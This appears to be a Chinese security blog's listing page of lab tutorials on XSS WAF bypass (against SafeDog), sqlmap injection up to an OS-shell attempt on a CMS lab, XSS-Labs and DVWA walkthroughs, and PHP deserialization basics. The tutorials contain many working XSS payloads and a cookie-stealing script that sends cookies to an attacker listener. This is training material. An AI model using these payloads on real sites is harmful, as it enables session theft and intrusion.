首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
13,170 阅读
2
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
7,852 阅读
3
2025最新渗透测试靶场推荐,新手必练的靶场推荐
6,261 阅读
4
src平台推荐,挖SRC必须知道的25个漏洞提交平台
5,815 阅读
5
几个常见的密码字典推荐
5,535 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
靶场实战
SQL注入
提权
代理隧道
域渗透
信息收集
权限提升
hackmyvm
WAF绕过
AI安全
云安全
蓝队防御
权限维持
红队攻击
云服务
白小羽
累计撰写
192
篇文章
累计收到
2
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
66
篇与
的结果
2025-05-18
【WAF剖析】10种XSS某狗waf绕过姿势
XSS 基础:Web安全中的XSS攻击详细教学,XSS-Labs靶场通关全教程(建议收藏)(一)、Web安全中的XSS攻击详细教学(二)--已完结如果懒得找靶场和安全狗防火墙后台回复【靶场】即可获取image-20240722161008610复现网站安全狗最新 v4.0 已经准备好image-20240722104320515这里用 XSSlab 进行 WAF 绕过测试image-20240722102257861还是一样安全狗 WAF 测试http://192.168.209.149/level1.php?name=<script>alert("hellow world")</script>image-20240722102220534基础 payloadphp<?phpecho "<script>alert(1)</script>";?>img<img SRC=JavaScript:alert("XSS")><IMG SRC=JavaScript:alert(String.formCharCode(88,83,83))><img scr="URL" style='XSS:expression(alert(XSS));'><img SRC="x" onerror=alert(1)><img SRC="x" οnerrοr=eval("alert('XSS')")><img SRC=x οnmοuseοver=alert('XSS')>css<img STYLE="background-image:url(JavaScript:alert('XSS'))">formXSS利用方式1<form action=JavaScript:alert('xss') method="get"><form action=JavaScript:alert('xss')>XSS利用方式2<form method=post action=aa.asp? οnmοuseοver=prompt('xss')><form method=post action=aa.asp? οnmοuseοver=alert('xss')><form action=1 οnmοuseοver=alert('xss')>input<input name="name" value=""><input value="" οnclick=alert('xss') type="text"><input name="name" value="" οnmοuseοver=prompt('xss') bad=""><input name="name" value=""><script>alert('xss')</script>iframe<iframe SRC=JavaScript:alert('xss');height=5width=1000 /><iframe><iframe SRC="data:text/html,<script>alert('xss')</script>"></iframe><!--原code--><iframe SRC="data:text/html;base64,<script>alert('xss')</script>"><!--base64编码--><iframe SRC="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><iframe SRC="aaa" οnmοuseοver=alert('xss') /><iframe><iframe src="JavaScript:prompt(`xss`)"></iframe>经过测试以上内容皆执行不了,但是还有一个svg没测试svg!成功了一个,看来 v4.0 的安全狗没有对 svg 进行防护,payload 如下<svg onload=alert(1)>image-20240722103703228常见的 WAF 绕过 payload1.大小写绕过<sCript>alert(1)</Script>image-202407221300440002、双写绕过image-202407221309172023、imgimage-202407221309530464、onmouseover 事件当用户鼠标移动时即可运行代码 image-20240722131108228当用户鼠标在这个块上面时即可运行(可以配合 weight 等参数将 div 覆盖页面,鼠标不划过都不行)image-202407221313538565、onclick 事件buttonimage-202407221317099956、onload 事件例如<svg onload=alert(1)>之前已经测试过了,svg 的 onoad 事件可以7、编码脚本绕过关键字image-202407221322232148、主动闭合标签实现注入代码image-202407221341403009、绕过 HTML 注释符image-2024072213461653010、利用换行符绕过image-2024072213474591411、绕过右标签image-2024072213480705012、绕过</内容>image-20240722134857902字典爆破image-20240722135712030这个时候直接一个一个去访问即可image-20240722141703806这里我们找到一个 iframe 的 payload,尝试访问,成功加载,但是看源码,标签没有闭合image-20240722141540870我们在 url 中闭合这个标签,就可以了image-20240722141917556绕过思路一、更改提交方式在默认配置下,为了节省资源,许多 WAF 只会对 GET 请求进行过滤拦截,而忽略了对 POST 请求、Cookie、HTTP Header 等其他提交方式的检测。因此,攻击者可以尝试更改有害语句的提交方式,如将 GET 请求修改为 POST 请求,或者通过 Cookie、HTTP Header 等方式提交恶意脚本,以绕过 WAF 的拦截。二、混淆伪装绕过混淆伪装是一种常见的绕过 WAF 的手段,攻击者通过编码、大小写混淆、双写、转义字符等方式对恶意脚本进行伪装,使其绕过 WAF 的关键词过滤规则。例如,将 JavaScript 代码中的关键字进行大小写混淆(如三、标签和事件函数变换XSS 攻击主要是通过触发 HTML 标签中的事件函数来执行恶意脚本。因此,WAF 会重点识别能够触发事件函数的 HTML 标签和事件函数字段。攻击者可以尝试使用其他可以执行 JavaScript 代码的 HTML 标签(如 , , 等)替换常用的四、利用 WAF 的缺陷和配置不当「增加 WAF 负担」:有些 WAF 在处理大量数据时可能会降低检测精度或放弃检测部分数据包。攻击者可以通过向 WAF 发送大量正常数据包并夹杂异常数据包的方式,增加 WAF 的负担,从而绕过 WAF 的检测。「利用 WAF 配置不当」:WAF 的配置可能存在漏洞或不当之处,如只检测部分参数、忽略某些类型的请求等。攻击者可以通过分析 WAF 的配置规则,构造绕过 WAF 检测的请求。「旁站绕过」:在某些情况下,网站管理员可能只对主站进行了 WAF 防护,而忽略了旁站或子域名的防护。攻击者可以尝试通过旁站或子域名绕过 WAF 的防护。五、使用自动化工具自动化工具如XSStrike 等可以帮助攻击者自动测试 WAF 的防护效果,并生成绕过 WAF 的 payload。这些工具通常包含多种绕过 WAF 的技巧和策略,可以显著提高攻击的成功率。❝XSStrike 开源地址:https://github.com/s0md3v/XSStrike❞六、其他技巧「利用伪协议」:某些 HTML 属性支持伪协议(如JavaScript: ),攻击者可以利用这些属性执行恶意脚本。「利用 CSS 跨站」:在某些情况下,攻击者可以利用 CSS 中的某些特性(如expression() )执行 JavaScript 代码。「利用全局变量和函数」:JavaScript 中的全局变量和函数(如eval() , window.onload 等)可以在不直接引用脚本标签的情况下执行代码,攻击者可以尝试利用这些变量和函数绕过 WAF 的防护。七、举例这里我就拿标签事件函数变换来举例、首先判断标签名称,是否可用比如iframe ,它可以正常访问,说明 标签没有进行过滤http://192.168.209.149/level1.php?name=<iframe>image-20240722143819570标签没有进行过滤,尝试闭合这个标签,ok 正常访问image-20240722144155301判断属性 src,好没有过滤image-20240722144230962加了个= 就被拦截了,这时候没法继续了,换个事件试试image-20240722144259675image-20240722144611518这里拿 onload 尝试image-20240722144645731❝需要注意的是,以上绕过 WAF 的思路和技巧仅供学习和研究网络安全使用,不得用于非法攻击和破坏活动。在实际应用中,网站管理员和 WAF 开发者应不断更新和完善 WAF 的防护策略,提高网站的安全性。❞SQL 注入 WAF 绕过文章参考:SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细、SQL注入某狗WAF绕过(补充)
2025年05月18日
1,855 阅读
0 评论
0 点赞
2025-05-18
对某CMS漏洞练习平台的一次xss、sql注入、越权黑盒思路分析
简介熊海CMS是由熊海开发的一款功能丰富的网站综合管理系统,广泛应用于个人博客、个人网站以及企业网站,本文章用于黑盒测试,如果需要源码审计后台回复【CMS】获取即可,精心准备了40多个cms源码漏洞平台,供宝子们学习,一切资源免费XSS测试在测试过程中,我们发现目标站点存在XSS注入漏洞。通过插入特定的XSS测试脚本,我们能够触发跨站脚本攻击,这表明站点在处理和显示用户输入时未进行充分的过滤和编码。SQL注入SQL注入超详细教程:从零开始学SQL注入(sql十大注入类型):技术解析与实战演练在首页,通过随机点击一篇文章并修改URL参数,我们尝试进行SQL注入攻击。使用以下payload:http://192.168.3.245:37892/?r=content&cid=16' -- w服务器响应报错,这表明可能存在SQL注入漏洞。为了进一步验证,我们使用sqlmap工具进行自动化测试,并指定参数cid进行注入尝试:sqlmap -u 'http://192.168.3.245:37892/?r=content&cid=16' -p 'cid' --random-agent --threads=10 --dbms=mysql --level 3 --dbs测试结果显示,目标站点存在布尔盲注、报错注入和时间盲注三种SQL注入方法。接下来,我们使用dirb工具扫描目标站点的目录结构,并发现了一个admin管理页面。尝试对该admin页面进行SQL注入攻击,结果服务器响应显示SQL语句错误,进一步确认了SQL注入漏洞的存在。后台越权登录之前使用dirb扫出来的admin后台,尝试访问尽管我们尝试使用sqlmap记录来爆破admin所在的表,并发现密码进行了哈希加密,但未能使用现有的密码字典破解密码。由于无法直接登录后台,我们尝试构造session,cookie和本地存储进行越权访问。通过抓包分析,我们猜测向后端传递的用户名字段为user,密码字段为password。在设置了本地cookie存储后(随意设置),我们尝试访问后台页面:http://192.168.3.208:37892/admin/index.php成功越权访问了网站后台。在后台,我们尝试修改回复内容,并插入XSS攻击脚本:<script>alert(1)</script>保存修改后,XSS攻击脚本成功生效,表明站点存在存储型XSS注入漏洞。在尝试删除留言时,我们发现URL参数delete可能存在SQL注入漏洞。通过构造特定的payload,我们确认了该漏洞的存在。此外,我们还发现了一个报错页面,该页面暴露了站点的根目录信息,这可能会被恶意利用。由于已知目标站点为PHP网站,我们尝试使用sqlmap获取目标shell:sqlmap -u 'http://192.168.3.245:37892/?r=content&cid=16' -p 'cid' --random-agent --threads=10 --dbms=mysql --level 3 --os-shell然而,上传stager失败,可能是权限不足或目标网站的安全措施阻止了上传。修复建议更新版本:确保熊海CMS系统更新到最新版本,以修复已知的安全漏洞。SQL注入防护:对SQL语句进行预编译处理,以防止SQL注入漏洞。同时,限制数据库账号的权限,仅授予执行必要操作的最小权限,以减少SQL注入攻击的影响。XSS防护:对输出到HTML的数据进行编码处理,以防止XSS攻击。可以使用HTML实体编码或JavaScript编码来转义特殊字符。自定义错误页面:建议自定义错误页面,以避免编程语言特性导致的网站根目录泄露问题,从而减少不必要的安全风险。网安学习不迷路,技术分享,萌新答疑,一起来交流吧
2025年05月18日
1,802 阅读
0 评论
0 点赞
2025-05-18
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程
漏洞原理XSS(cross site script)跨站脚本攻击,指的是攻击者往web页面插入恶意脚本代码,当用户浏览时,嵌入web页面里的脚本代码就会执行,从而达到恶意攻击用户的特殊目的,它主要分为俩种类型存储型XSS(持久型):攻击者将恶意脚本存储在目标服务器上,每当用户访问受感染的页面时,恶意脚本就会执行。反射型XSS(非持久型):攻击者诱使用户点击一个链接,该链接将恶意脚本作为输入传递给服务器,然后服务器将这个脚本反射回用户的浏览器执行。DOM型(非持久型):漏洞危害XSS攻击的常见目标是盗取用户的cookie和其他敏感信息,这些信息可以用来进行会话劫持、身份冒充等进一步攻击。如何防御?输入验证:网站开发者需要对用户输入进行严格的验证和过滤,避免将不受信任的数据直接输出到HTML中。输出编码:当将用户输入的数据输出到页面时,使用适当的编码方法(如HTML实体编码)来转义可能被浏览器解释为脚本的特殊字符。对输出内容进行编码:在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。漏洞复现Upload-Labs靶场(1-20关)第一关(URL传参)分析URL中的参数有个nanme根据XSS原理,注入恶意脚本,尝试注入payload?name=<script>alert()</script>第二关(输入框注入)尝试注入payload<script>alert()</script>分析源码,红色框上面部分被转义了,没有什么绕过方法,但是下面部分,仔细看,如果我们嵌套一个反标签符号呢?payload如下"><script>alert()</script><"第三关(事件注入)尝试使用上一关的内容进行绕过,被转义,只能想想其他办法了在JavaScript中有一个函数onfocus,用于输入框input,select,a标签获得焦点的事件这里我们给他一个函数即可,payload如下' onfocus=JavaScript:alert() '此时再点击这个input框,使其获得焦点,触发onfocus事件第四关(引号类型)使用上一关的结果进行注入,尝试失败分析源码,发现外围是双引号,双包单了,不符合JavaScript 的onfocus事件绑定切换payload为双引号即可" onfocus=JavaScript:alert() "提交payload后,需要点击input框,触发onfocus事件第五关(a标签注入)尝试输入脚本标签,被强行切换为scr_ipt使用上一关的方法" onfocus=JavaScript:alert() ",事件名称也被强行转换了这里就要用到a标签的 href属性了,尝试注入分析源码,并无异常转换,只是少了个"> 和 <",构造payload"><a href="JavaScript:alert();">xx</a><"发现页面多了个标签,此时既可以点击此标签第五关,over!第六关(大小写绕过)使用上一关结果,尝试注入"><a href="JavaScript:alert();">xx</a><"分析源码,href变成了hr_ef尝试onfocus绕过,失败尝试大小写,发现没有对大小写进行验证//第一种,脚本注入 " ><SCRIPT>alert()</SCRIPT>< " //第二种,焦点事件 " ONDOCUS=JavaScript:alert() " //a标签href属性的 "> <a HREF=JavaScript:alert()>x</a> <"over!第七关(双拼写)一样,使用上一关方法尝试,发现此时对大小写也进行了验证。不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用*双拼写*来绕过。" ><sscriptcript>alert()</sscriptcript>< "第八关(Unicode编码)尝试使用大小写失败,对字符进行了强行转换,而且使用了强制小写字母尝试使用双写,也以失败告终这里我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议JavaScript:alert()利用在线工具进行Unicode编码后得到,在线Unicode编码解码javascript:alert()第九关(指定字符绕过)先看看过滤了什么" SRC data onfocus <script> <a href=javascript:alert()> 什么嘛,看源码当传入的参数不包含"http://"时,即其值为假(false),将触发if语句的执行。为了避免这种情况,我们需要在参数中添加"http://",并将其作为注释,以防止其被实际执行,这会影响到弹窗的显示。为了确保strpos函数能够返回一个数值,我们需要构造一个特定的输入(payload),使其满足函数的预期行为。比如:javascript:alert()/* <http://> */本章小结:插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可第十关(属性修改)a标签注入失败,看看网页源码,全部都在h2标签去了,看着下面还有这么多hidden的input,这谁顶得住啊。看后端源码吧它多了个get的参数,测试了好几遍,可以尝试这个参数,把后面的type="hidden"给干掉,或者给type="text"也行就可以让这个input显示出来,再让它获得焦点,触发onfocus事件。level10.php?t_sort=" onfocus="javascript:alert()" type=" level10.php?t_sort=" onfocus="javascript:alert()" type="text第十一关(Referer)老样子,使用上一关的payload,发现我们的参数被转义了检查源码使用,这个str11并没有使用htmlspecialchars()方式进行转换,那么这里就是注入点知识补充:htmlspecialchars():一个PHP函数,用于将特殊字符转换为HTML实体。这个函数通常用于防止跨站脚本(XSS)攻击。$_SERVER['HTTP_REFERER'] :链接到当前页面的前一页面的 URL 地址。(referer,推荐人)$userInput = "<script>alert('XSS');</script>"; $safeOutput = htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); echo $safeOutput; // 输出: <script>alert('XSS');</script>尝试注入RefererREFERER:<script>alert()</script>注入成功,但是他把我们的< 和> 这些尖括号给去掉了那么可以尝试使用onfocus事件,并且把隐藏的input给显示出来,payload如下REFERER:" onfocus="javascript:alert()" type="text" "over!第十二关(User-Agent)上一关使用的referver,这一关我们猜测使用cookie,开始尝试发送请求,果断打开源码,尝试个鬼,用的user-agent尝试使用如下payload,添加到请求头后面" onfocus="javascript:alert()" type="text" "over!第十三关(Cookie)这关想都不要想,一定是Cookie!有人不服嘛,不服顺着网线来打死我 (´。✪ω✪。`)先查看源码,然后抓包,或者说,直接抓包俩个东西似曾相识哈,复制上一关的payload,开始注入" onfocus="javascript:alert()" type="text" "鼠标点击input输入框,使其获得焦点,成功!第十四关由于本关因*iframe*调用的文件地址失效,无法进行测试。第十五关来到了第十五关,直到看到如下图片,啊??????再看看源码,没有一点头绪啊,之前用的方法全部没作用了使用burp suite抓包试试。。。。。。无奈,只能看php源码了,有一个SRC参数,关键他还使用了htmlspecialchars()累了,煞了我吧看网上是这样子说的这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如,但是可以包涵那些标签的东西比如、、、标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload?SRC='/level1.php?name=<img SRC=1 onmouseover=alert()>'分析源码,他这里是对特殊符号进行了转义,比如 >使用<,它并没有删掉,还是存在在html标签中的,也可以进行内含属性,根据他说的尝试使用img标签,并添加onmouseover 事件语法如下?SRC='/level1.php?name=<img SRC=1 onmouseover=alert()>'第十六关(回车%0a)通过以上关卡我总结了一些关键字,便于测试?keyword=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> j 都以失败告终。查看源码这里将` ,/,script,-都替换成了 ,所以a标签也不行,但是可以使用一个标签的标签(单标签)比如,,,svg` 等。这里使用<svg>的onload事件,就是svg标签加载完成的事件,搭配上%0a即回车按钮,就比如?keyword=<svg%0aonload=alert()>渲染在网页上其实是这样的<svg%0aonload=alert()> || <svg onload=alert()>第十七关(embed)测试注入关键字?arg01=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;发现事件名称和javascript脚本都没有被注释,尝试使用onload事件%20onload=alert()%20""非常简单,完成,这里原本是一个未知文件显示在这里的,小编我直接修改成了这张图片,实现思路是一样的第十八关(双参空格)尝试任意字符,它将俩个参数用 = 号连接起来了/level18.php?arg01=abavvvv&arg02=fdffffdf注入测试" ' SRC DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;属性正常,和上一关一样,不过需要注意是第二个参数进行传值arg02/level18.php?arg02= onmousedown=alert() //注意空格,这里使用的是鼠标点击事件第十九关难搞,pass,不要问我为什么,可能环境不对,Flash xss了解一下就行,现在许多浏览器都用不上flash插件了第二十关payload在这儿(也不起效果),你自个儿试试吧,这是原文,可能因为我的服务器是linuxhttps://blog.csdn.net/u014029795/article/details/103217680?arg01=id&arg02=xss"))}catch(e){alert(1)}//%26width=123%26height=123存储型XSS(持久性XSS)存储型XSS,又称持久性XSS,他们和反射性XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码,又有点类似于SQL注入,但不同于SQL注入。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。持久型 XSS 的三大特点: 持久性,植入在数据库中; 危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡; 盗取用户敏感私密信息。 如何防御? 后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理; 后端在输出给前端数据统一进行转义处理; 前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。 漏洞复现--DVWALOW尝试注入JavaScript脚本<script>alert()</script>执行正常注入成功尝试分析源码,完全没有对XSS的防护,另外对SQL注入的防护也不彻底。<?php if( isset( $_POST[ 'btnSign' ] ) ) { //trim() 函数只能去除字符串的首尾字符,这里没有第二个参数,默认去除首尾空格 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); //stripslashes() 删除字符串中的反斜杠 $message = stripslashes( $message ); //mysqli_real_escape_string() 函数转义了特殊字符(包括NUL(ASCII 0)、n、r、、'、" 和 Control-Z),然后直接代入mysqli_query()函数来执行INSERT INTO的SQL语句。 $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 要执行的sql语句 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>这里还有一共攻击方式使用xss攻击获取cookie,payload如下<script>document.write('<img src="http://ip:9999/'+document.cookie+'"/>')</script>简单地起http协议的方法有两种:(1)用python2:python2 -m SimpleHTTPServer 8899(2)用python3:python3 -m http.server 8899注入payload成功获取cookie信息P.S. 测试的时候还发现每次点击浏览器的刷新键,都会再生成一个一条guestbook记录。这应该是low等级没有做防止表单重复提交的动作。Medium尝试使用上一关的内容进行注入。注入失败盲注尝试第一个框,而且输入框限制了文字的输入长度似乎有效果尝试修改input框的输入长度限制payload如下<a href="javascript:alert()">alert()</a>注入成功源码分析<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // strip_tags() 函数用于从字符串中去除HTML和PHP标签 // addslashes() 用于在字符串中的单引号(')、双引号(")、反斜杠()和NULL字符(�)前面添加反斜杠 $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // htmlspecialchars() 用于将特殊字符转换为HTML实体,特殊字符包含&、<、>、'、" $message = htmlspecialchars( $message ); // 将指定字符串替换为空 $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>仔细分析源码会发现,它只将message框的函数进行了一个strip_tags字符判断,但是并没有对name框的值进行判断,此处仅仅只是进行了删除script,所以我们可以可以尝试以下俩种方式: 双写绕过,例如<sc<script>ript>alert()<sc<script>ript> 大小写绕过,把标签名称改为<sCript>,任意字符大写即可 High单标签使用上一关的payload测试失败尝试半包,发现对字符进行了转义。尝试单个标签 img,并添加点击事件onclick,即可注入成功<img src=1 onclick=alert() /><!--注意不要少了空格-->cookie在单标签的情况进行获取cookie,payload如下<img src=1 onclick="document.write('<img src="http://ip:9999/'+document.cookie+'"/>')" />http端口也没有监听到cookie信息尝试失败之后试了试svg,也不行在我百思不得其解的时候,想到了这么一个标签input,onchange事件<input onchange="alert()">成功了!那么再利用这个input标签,去获取我们的dvwa站点的cookie信息<input οnchange="document.write('<img src="http://ip:999/'+document.cookie+'"/>')">emmmm,尝试了好几遍,注入失败了,不知道为什么看源码。。。。<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>它使用 preg_replace 正则替换没思路了,有没有大佬帮帮我呀 T_TIMPOSSIBLE源码分析<?php if( isset( $_POST[ 'btnSign' ] ) ) { // checkToken() 检查token是否存在,使用csrf_token,防止CSRF攻击,还解决了表单重复提交的问题 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // 将参数俩边的空格去掉 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // 去掉message框的反斜杠 $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 将message框中的值转化为html实体 $message = htmlspecialchars( $message ); // 去掉name中的反斜杠 $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // 执行sql语句,并使用了PDO进行了预编译,预防SQL注入攻击 $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>原文链接:https://mp.weixin.qq.com/s/PKs1TTg8XyU-UBOZTY5Olg原文链接https://mp.weixin.qq.com/s/RJcOZuscU07BEPgK89LSrQ
2025年05月18日
1,529 阅读
0 评论
0 点赞
2025-05-18
PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用
前言本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章,特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。序列化介绍序列化是指将变量转换为一种可保存或传输的字符串形式的过程;而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。例子将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)class Person { public $name; //public 修饰的这个成员在任何地方都可以使用 private $age; //private 修饰的成员只能被 其所在类 的其他成员访问 protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问 function sayName() { echo $this->name; } function sayAge() { echo $this->age; } function saySex() { echo $this->sex; } function __construct($name, $age,$sex) { $this->name = $name; $this->age = $age; $this->sex = $sex;//protected修饰的sex } } $person=new Person('张三',20,'boy'); $person->sayName();//张三 $person->sayAge();//20 $person->saySex();//boy echo '</br>'; // 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串 echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} echo "</br>"; // 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试 echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)<?php $html =unserialize($_GET['html']); echo $html; 在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} O : 自定义对象 object 6 : 类名的长度 :3 : 3个成员属性 s:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位 s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别. i:20 : 20是age的属性值 , i是代表 integer类型 s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号 s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值 private和 protected详解//protected举例 class Animal { protected $name; //构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。 //构造函数可以接收参数,这些参数可以用来设置对象的初始状态。 public function __construct($name) { $this->name = $name; } protected function getName() { echo $this->name ." 小羽网安"; } } ///extends继承 class Dog extends Animal { public function __construct($name) { //调用父类的构造函数 parent::__construct($name); } // public function introduce() // { // //调用父类的eat方法 // parent::getName(); // echo $this->name ." Dog类别的输出"; // } public function getDog() { $this->getName();//调用继承类的getName方法 echo '<br/>继承之后,继续调用的函数'; } } $myDog=new Dog("<br/>hellow"); $myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数 $myName=new Animal("游不动的小鱼丶"); //$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context //$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() 